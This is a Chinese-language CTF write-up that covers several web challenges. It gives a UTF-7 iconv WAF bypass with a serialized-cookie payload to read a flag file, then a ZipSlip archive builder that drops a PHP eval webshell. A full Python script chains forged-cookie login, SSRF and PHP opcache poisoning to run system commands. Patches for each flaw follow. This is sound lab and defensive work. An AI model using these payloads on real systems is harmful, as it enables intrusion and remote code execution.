Attack 漏洞点在preview.php
file_get_contents函数可以读取文件,$convertedPath路径由$rawPath经过iconv编码转化得到,而$rawPath由$user->basePath和$f拼接构成,$user->basePath通过反序列化可控,$f可以直接传值可控,可以实现任意文件读取。
但是要读取flag,很明显存在preg_match的过滤,禁止了flag路径。
注意到iconv函数,将$rawPath由$user->encoding编码转化为UTF-8,且转写策略是IGNORE,编码转换所在WAF后进行的,可以利用字符编码的脏字符绕关键词匹配WAF
简答遍历一下在UTF-7转UTF-8过程中,会被IGNORE的字符:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $ori_encoding = "UTF-7" ;$goal_encoding = "utf-8" ;for ($i = 0 ; $i <= 255 ; $i ++) { $hex = strtoupper (str_pad (dechex ($i ), 2 , '0' , STR_PAD_LEFT)); $encodedString = "%{$hex} " ; $decoded = urldecode ($encodedString ); $iconv_content = @iconv ($ori_encoding , $goal_encoding ."//IGNORE" , $char ); if ($iconv_content == false || $iconv_content == '' ){ echo $encodedString ."\n" ; } } ?>
这里选用%C2,反序列化为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class User { public string $name = "guest" ; public string $encoding = "UTF-7" ; public string $basePath = "/" ; } $exp = new User ();$exp = serialize ($exp );$exp = urlencode ($exp );echo $exp ;
payload为
1 2 3 4 5 GET /preview.php?f=fl%c2ag HTTP/1.1 Host : 127.0.0.1:8080Cookie : user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D
Fix 主要问题在于WAF后了再进行了编码转换,交换一下WAF和编码转换的位置即可,同时考虑添加限制目录必须以/var/www/html/uploads/开头
1 2 3 4 5 6 7 8 9 $rawPath = $user ->basePath . $f ;$convertedPath = @iconv ($user ->encoding, "UTF-8//IGNORE" , $rawPath );if (!str_starts_with ($convertedPath , "/var/www/html/uploads/" ) || preg_match ('/flag|\/flag|\.\.|php:|data:|expect:/i' , $convertedPath )) { http_response_code (403 ); echo "Access denied" ; exit ; }
esay_time Attack 是Python+PHP服务,Python服务对外暴露,PHP不对外暴露。 简单审计可以发现,/about路由存在SSRF:
再观察可以发现存在文件上传功能:
服务端接收一个zip压缩包并进行解压,存在Zip的目录穿越漏洞,可以把压缩包里的webshell通过目录穿越上传到指定的PHP服务的文件夹。
构造恶意压缩包:
1 2 3 4 5 6 7 8 9 10 11 import zipfiledef create_malicious_zip (): try : with zipfile.ZipFile('evil.zip' , 'w' , compression=zipfile.ZIP_DEFLATED) as zipf: zipf.writestr(zipfile.ZipInfo('../../../var/www/html/shell.php' ), '<?php eval($_REQUEST["cmd"]);?>' ) return True except Exception as e: return False if __name__ == '__main__' : create_malicious_zip()
上传文件需要登录:
爆破可以得到密码:secret
实际上也可以直接伪造登录:
1 Cookie : visited=yes;user=admin;
先上传压缩包:
读flag:
看到很多师傅的博客是这样做的,但是实际上由于靶机设置了read_only: true,/var/www/html/目录并不能写入
正确解法应该是利用opcache缓存替换原index.php的内容,计算system_id需要的信息可以利用SSRF从phpinfo.php中获取,文件时间戳从date.php获取,当然system_id直接利用给出的本地docker查看一下就行,也并不需要计算。
在本地搭建起docker环境后,首先访问一次/var/www/html/index.php触发生成缓存/tmp/45b8be9467d6ed29438f06cfe9cee9f6/var/www/html/index.php.bin,修改docker中的index.php为webshell,再次访问刷新缓存,将新的index.php.bin修改时间戳进行上传。
正式访问题目,首先需要访问http://127.0.0.1:80/date.php获取时间戳,修改我们提前准备好的webshell缓存,然后上传恶意压缩包,访问webshell来RCE:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import zipfileimport requestsfrom bs4 import BeautifulSoupimport refrom packaging import versionURL = "http://127.0.0.1:5000" HEADER = { "Cookie" : "visited=yes;user=admin" } def create_malicious_zip (): try : with zipfile.ZipFile('evil.zip' , 'w' ) as zipf: zipf.writestr('../../../tmp/45b8be9467d6ed29438f06cfe9cee9f6/var/www/html/index.php.bin' , open ("./index.php.bin" , "rb" ).read()) return True except Exception as e: return False def get_php (url ): post_data = { "avatar_url" : url } res = requests.post(URL+"/about" , data=post_data, headers=HEADER) bs = BeautifulSoup(res.text, "html.parser" ) body = bs.find("div" , class_="card__body" ) div = body.find_all("div" )[0 ].find_all("div" )[-1 ].find_all("code" )[2 ].text ret = div[6 :-1 ] return ret def get_index (): url = f"http://127.0.0.1:80/index.php" res = get_php(url) print (res) def upload (): files = { "plugin" : ("evil.zip" , open ("evil.zip" , "rb" ).read()) } res = requests.post(URL+"/plugin/upload" , files=files, headers=HEADER) def replace_timestamp (): url = f"http://127.0.0.1:80/date.php" time = int (get_php(url)) time = time.to_bytes(4 , byteorder='little' ) with open ('index.php.bin' , 'r+b' ) as f: f.seek(0x40 ) f.write(time) def rce (cmd ): url = f"http://127.0.0.1:80/index.php?cmd=system('{cmd} ');" res = get_php(url) print (res) if __name__ == '__main__' : replace_timestamp() create_malicious_zip() upload() rce("id" )
Fix 修复点主要是鉴权和zip解压时要防止目录穿越,以及SSRF漏洞,还有默认密码和secret_key也可以考虑修改一下
关于鉴权,可以采用flask.session进行会话管理,只有登录成功时才设置session
1 2 3 4 5 6 def is_logged_in () -> bool : user = flask.session.get("user" ) if isinstance (user, str ) and user != "" and user is not None : return True return False
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if flask.request.method == 'POST' : username = flask.request.form.get('username' , '' ) password = flask.request.form.get('password' , '' ) h1 = hashlib.md5(password.encode('utf-8' )).hexdigest() h2 = hashlib.md5(h1.encode('utf-8' )).hexdigest() next_url = flask.request.args.get("next" ) or flask.url_for("dashboard" ) if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde" : flask.session.clear() flask.session['user' ] = username return flask.redirect(next_url) return flask.render_template('login.html' , error='用户名或密码错误' , username=username), 401 return flask.render_template('login.html' , error=None , username='' )
zip解压源代码其实给出了修复代码,直接替换原来的safe_upload函数即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def safe_extract_zip (zip_path: Path, dest_dir: Path ) -> list [str ]: dest_dir = dest_dir.resolve() extracted = [] with zipfile.ZipFile(zip_path, "r" ) as zf: for info in zf.infolist(): name = info.filename.replace("\\" , "/" ) if name.endswith("/" ): continue if name.startswith("/" ) or (len (name) >= 2 and name[1 ] == ":" ): raise ValueError("Illegal path in zip" ) target = (dest_dir / name).resolve() if os.path.commonpath([str (dest_dir), str (target)]) != str (dest_dir): raise ValueError("ZipSlip blocked" ) target.parent.mkdir(parents=True , exist_ok=True ) with zf.open (info, "r" ) as src, open (target, "wb" ) as dst: shutil.copyfileobj(src, dst) extracted.append(str (target.relative_to(dest_dir))) return extracted
SSRF的修复也是给出了源码的,直接用就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def _host_is_public (hostname: str ) -> bool : lowered = (hostname or "" ).lower() if lowered in {"localhost" , "localhost.localdomain" }: return False try : addrinfos = socket.getaddrinfo(hostname, None ) except OSError: return False ips = {ai[4 ][0 ] for ai in addrinfos if ai and ai[4 ]} if not ips: return False for ip_str in ips: ip_obj = ipaddress.ip_address(ip_str) if ( ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_multicast or ip_obj.is_reserved ): return False return True
IntraBadge Attack 怀疑是SSTI,但是套了SandboxedEnvironment并不知道该怎么绕过,redis也不知道怎么利用
Fix None
Wso2 Attack java 不会 ; (
Fix None